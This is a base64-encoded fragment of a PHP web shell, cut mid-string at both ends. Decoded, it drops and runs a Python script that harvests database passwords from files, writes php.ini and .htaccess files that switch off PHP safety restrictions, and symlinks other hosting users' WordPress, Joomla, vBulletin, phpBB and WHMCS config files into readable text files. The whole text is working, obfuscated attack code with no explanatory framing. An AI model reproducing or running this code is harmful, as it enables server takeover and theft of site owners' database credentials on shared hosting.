lDQnBaaUJ6ZVhOMFpXMG9LU0E5UFNBblRHbHVkWGduT2cwS0lDQWdJR1p2Y2lCeWIyOTBMQ0JrYVhKekxDQm1hV3hsY3lCcGJpQnZjeTUzWVd4cktHWnZkWFFwT2cwS0lDQWdJQ0FnWm05eUlHWnVZVzFsSUdsdUlHWnBiR1Z6T2cwS0lDQWdJQ0FnSUNCbWRXeHNjR0YwYUNBOUlHOXpMbkJoZEdndWFtOXBiaWh5YjI5MExDQm1ibUZ0WlNrTkNpQWdJQ0FnSUNBZ1ppQTlJRzl3Wlc0b1puVnNiSEJoZEdnc0lDZHlKeWtOQ2lBZ0lDQWdJQ0FnWm05eUlHeHBibVVnYVc0Z1pqb05DaUFnSUNBZ0lDQWdJQ0J6WldOeUlEMGdjbVV1YzJWaGNtTm9JQ2h5SWloa1lsOXdZWE56ZDI5eVpDZGRJRDBnSnlrb0xpdGJYajVkS1Nnbk95a2lMQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQWdJR2xtSUhObFkzSWdhWE1nYm05MElFNXZibVU2SUhCeWFXNTBJQ2h6WldOeUxtZHliM1Z3S0RJcEtTQWdEUW9nSUNBZ0lDQWdJQ0FnYzJWamNqRWdQU0J5WlM1elpXRnlZMmdvY2lJb2NHRnpjM2R2Y21RZ1BTQW5LU2d1SzF0ZVBsMHBLQ2M3S1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUNBZ2FXWWdjMlZqY2pFZ2FYTWdibTkwSUU1dmJtVTZJQ0J3Y21sdWRDQWdLSE5sWTNJeExtZHliM1Z3S0RJcEtRMEtJQ0FnSUNBZ0lDQWdJSE5sWTNJeUlEMGdjbVV1YzJWaGNtTm9LSElpS0VSQ1gxQkJVMU5YVDFKRUp5a29MaTR1S1NndUsxdGVQbDBwS0NjcElpd2diR2x1WlNrTkNpQWdJQ0FnSUNBZ0lDQnBaaUJ6WldOeU1pQnBjeUJ1YjNRZ1RtOXVaVG9nY0hKcGJuUWdLSE5sWTNJeUxtZHliM1Z3S0RNcEtRMEtJQ0FnSUNBZ0lDQWdJSE5sWTNJeklEMGdjbVV1YzJWaGNtTm9JQ2h5SWloa1luQmhjM01nUFM0dUtTZ3VLMXRlUGwwcEtDNDdLU0lzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJQ0FnYVdZZ2MyVmpjak1nYVhNZ2JtOTBJRTV2Ym1VNklIQnlhVzUwSUNoelpXTnlNeTVuY205MWNDZ3lLU2tOQ2lBZ0lDQWdJQ0FnSUNCelpXTnlOQ0E5SUhKbExuTmxZWEpqYUNBb2NpSW9SRUpRUVZOVFYwOVNSQ0E5SUNjcEtDNHJXMTQrWFNrb0xqc3BJaXdnYkdsdVpTa05DaUFnSUNBZ0lDQWdJQ0JwWmlCelpXTnlOQ0JwY3lCdWIzUWdUbTl1WlRvZ2NISnBiblFnS0hObFkzSTBMbWR5YjNWd0tESXBLUTBLSUNBZ0lDQWdJQ0FnSUhObFkzSTFJRDBnY21VdWMyVmhjbU5vSUNoeUlpaEVRbkJoYzNNZ1BTQW5LU2d1SzF0ZVBsMHBLQ2M3S1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUNBZ2FXWWdjMlZqY2pVZ2FYTWdibTkwSUU1dmJtVTZJSEJ5YVc1MElDaHpaV055TlM1bmNtOTFjQ2d5S1NrTkNpQWdJQ0FnSUNBZ0lDQnpaV055TmlBOUlISmxMbk5sWVhKamFDQW9jaUlvWkdKd1lYTnpkMlFnUFNBbktTZ3VLMXRlUGwwcEtDYzdLU0lzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJQ0FnYVdZZ2MyVmpjallnYVhNZ2JtOTBJRTV2Ym1VNklIQnlhVzUwSUNoelpXTnlOaTVuY205MWNDZ3lLU2tOQ2lBZ0lDQWdJQ0FnSUNCelpXTnlOeUE5SUhKbExuTmxZWEpqYUNBb2NpSW9iVzl6UTI5dVptbG5YM0JoYzNOM2IzSmtJRDBnSnlrb0xpdGJYajVkS1Nnbk95a2lMQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQWdJR2xtSUhObFkzSTNJR2x6SUc1dmRDQk9iMjVsT2lCd2NtbHVkQ0FvYzJWamNqY3VaM0p2ZFhBb01pa3BEUW9nSUNBZ0lDQWdJR1l1WTJ4dmMyVW9LUTBLSUNCcFppQnplWE4wWlcwb0tTQTlQU0FuVjJsdVpHOTNjeWM2RFFvZ0lDQWdabTl5SUdsdVptbHNaU0JwYmlCbmJHOWlMbWRzYjJJb0lHOXpMbkJoZEdndWFtOXBiaWhtYjNWMExDQW5LaTUwZUhRbktTQXBPZzBLSUNBZ0lDQWdaaUE5SUc5d1pXNG9hVzVtYVd4bExDQW5jaWNwRFFvZ0lDQWdJQ0JtYjNJZ2JHbHVaU0JwYmlCbU9nMEtJQ0FnSUNBZ0lDQnpaV055SUQwZ2NtVXVjMlZoY21Ob0lDaHlJaWhrWWw5d1lYTnpkMjl5WkNkZElEMGdKeWtvTGl0YlhqNWRLU2duT3lraUxDQnNhVzVsS1EwS0lDQWdJQ0FnSUNCcFppQnpaV055SUdseklHNXZkQ0JPYjI1bE9pQndjbWx1ZENBb2MyVmpjaTVuY205MWNDZ3lLU2tnSUEwS0lDQWdJQ0FnSUNCelpXTnlNU0E5SUhKbExuTmxZWEpqYUNoeUlpaHdZWE56ZDI5eVpDQTlJQ2NwS0M0clcxNCtYU2tvSnpzcElpd2diR2x1WlNrTkNpQWdJQ0FnSUNBZ2FXWWdjMlZqY2pFZ2FYTWdibTkwSUU1dmJtVTZJQ0J3Y21sdWRDQWdLSE5sWTNJeExtZHliM1Z3S0RJcEtRMEtJQ0FnSUNBZ0lDQnpaV055TWlBOUlISmxMbk5sWVhKamFDaHlJaWhFUWw5UVFWTlRWMDlTUkNjcEtDNHVMaWtvTGl0YlhqNWRLU2duS1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUdsbUlITmxZM0l5SUdseklHNXZkQ0JPYjI1bE9pQndjbWx1ZENBb2MyVmpjakl1WjNKdmRYQW9NeWtwRFFvZ0lDQWdJQ0FnSUhObFkzSXpJRDBnY21VdWMyVmhjbU5vSUNoeUlpaGtZbkJoYzNNZ1BTNHVLU2d1SzF0ZVBsMHBLQzQ3S1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUdsbUlITmxZM0l6SUdseklHNXZkQ0JPYjI1bE9pQndjbWx1ZENBb2MyVmpjak11WjNKdmRYQW9NaWtwRFFvZ0lDQWdJQ0FnSUhObFkzSTBJRDBnY21VdWMyVmhjbU5vSUNoeUlpaEVRbEJCVTFOWFQxSkVJRDBnSnlrb0xpdGJYajVkS1NndU95a2lMQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQnBaaUJ6WldOeU5DQnBjeUJ1YjNRZ1RtOXVaVG9nY0hKcGJuUWdLSE5sWTNJMExtZHliM1Z3S0RJcEtRMEtJQ0FnSUNBZ0lDQnpaV055TlNBOUlISmxMbk5sWVhKamFDQW9jaUlvUkVKd1lYTnpJRDBnSnlrb0xpdGJYajVkS1Nnbk95a2lMQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQnBaaUJ6WldOeU5TQnBjeUJ1YjNRZ1RtOXVaVG9nY0hKcGJuUWdLSE5sWTNJMUxtZHliM1Z3S0RJcEtRMEtJQ0FnSUNBZ0lDQnpaV055TmlBOUlISmxMbk5sWVhKamFDQW9jaUlvWkdKd1lYTnpkMlFnUFNBbktTZ3VLMXRlUGwwcEtDYzdLU0lzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJR2xtSUhObFkzSTJJR2x6SUc1dmRDQk9iMjVsT2lCd2NtbHVkQ0FvYzJWamNqWXVaM0p2ZFhBb01pa3BEUW9nSUNBZ0lDQWdJSE5sWTNJM0lEMGdjbVV1YzJWaGNtTm9JQ2h5SWlodGIzTkRiMjVtYVdkZmNHRnpjM2R2Y21RZ1BTQW5LU2d1SzF0ZVBsMHBLQ2M3S1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUdsbUlITmxZM0kzSUdseklHNXZkQ0JPYjI1bE9pQndjbWx1ZENBb2MyVmpjamN1WjNKdmRYQW9NaWtwRFFvZ0lDQWdJQ0JtTG1Oc2IzTmxLQ2tOQ21WNFkyVndkQ0FvUzJWNVltOWhjbVJKYm5SbGNuSjFjSFFwT2cwS0lDQndjbWx1ZENBblhHNVVhR0Z1YTNNZ1ptOXlJSFZ6YVc1bklHbDBJQzVmWGljPSc7CiRmaWxlID0gZm9wZW4oImNwLnB5IiwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkY3ApKTsKZmNsb3NlKCRmaWxlKTsKY2htb2QoImNwLnB5IiwwNzU1KTsKJHVybCA9ICRfUE9TVFsndXJsJ107CmVjaG8iPGNlbnRlcj4KPHRleHRhcmVhIGNvbHM9XCI5MFwiIHJvd3M9XCIyMFwiIG5hbWU9XCJ1c2VybmFtZXNcIj4iOwpzeXN0ZW0oInB5dGhvbiBjcC5weSAkdXJsIGNvbmZpZyIpOwp1bmxpbmsgKCdjcC5weScpOwplY2hvIjwvdGV4dGFyZWE+CjwvY2VudGVyPiI7CmVjaG8gIjxocj48Y2VudGVyPjxiPjxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPiA8PCBCQUNLPC9hPiI7CmV4aXQ7Cn0KaWYoJF9QT1NUWydtYXRpa2FuJ109PSdzZWthdGFuJyl7CkBlcnJvcl9yZXBvcnRpbmcoMCk7CiRwaHBpbmkgPQonYzJGbVpWOXRiMlJsUFU5R1JnMEtaR2x6WVdKc1pWOW1kVzVqZEdsdmJuTTlUazlPUlE9PSc7CiRmaWxlID0gZm9wZW4oInBocC5pbmkiLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRwaHBpbmkpKTsKZmNsb3NlKCRmaWxlKTsKJGh0YWNjZXNzID0KJ1QzQjBhVzl1Y3lCR2IyeHNiM2RUZVcxTWFXNXJjeUJOZFd4MGFWWnBaWGR6SUVsdVpHVjRaWE1nUlhobFkwTkhTUT09JzsKJGZpbGUgPSBmb3BlbigiLmh0YWNjZXNzIiwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkaHRhY2Nlc3MpKTsKZWNobyAiPGhyPjxjZW50ZXI+PGI+RE9ORSEiOwplY2hvICI8aHI+PGNlbnRlcj48Yj48YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiI7CmV4aXQ7Cn0KaWYoJF9QT1NUWydtZW5kYXBhdGthbiddPT0ncGFzc3dkJyl7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Cm9iX3N0YXJ0KCk7CmVycm9yX3JlcG9ydGluZygwKTsKQHNldF90aW1lX2xpbWl0KDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOwokZm4gPSAkX1BPU1RbJ2ZvbGRlcm5hbWUnXTsKLy9hbGwgZnVuY3Rpb24gaGVyZQoKZnVuY3Rpb24gc3ltbCgkdXNlcm4sJHBkb21haW4pCgl7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4xLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGExLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG00LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTUudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG02LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG04LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTkudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJHBkb21haW4uJ35+NS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRwZG9tYWluLid+fmludmlzaW8udHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+Ny50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywkcGRvbWFpbi4nfn44LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRwZG9tYWluLid+fm1rLXBvcnRhbGUxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywkcGRvbWFpbi4nfn4xMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJHBkb21haW4uJ35+U21mLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJHBkb21haW4uJ35+cGhwYmIzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fmluZmluaXR5LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG02LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTcudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTgudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTkudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRwZG9tYWluLid+fjUudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJHBkb21haW4uJ35+NC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRwZG9tYWluLid+fmludmlzaW8udHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fjcudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRwZG9tYWluLid+fjgudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRwZG9tYWluLid+fm1rLXBvcnRhbGUxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJHBkb21haW4uJ35+MTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywkcGRvbWFpbi4nfn5TbWYudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJHBkb21haW4uJ35+cGhwYmIzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn5pbmZpbml0eS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4xLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0xLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTUudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG03LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG04LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG05LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywkcGRvbWFpbi4nfn41LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywkcGRvbWFpbi4nfn5pbnZpc2lvLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn43LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywkcGRvbWFpbi4nfn44LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vy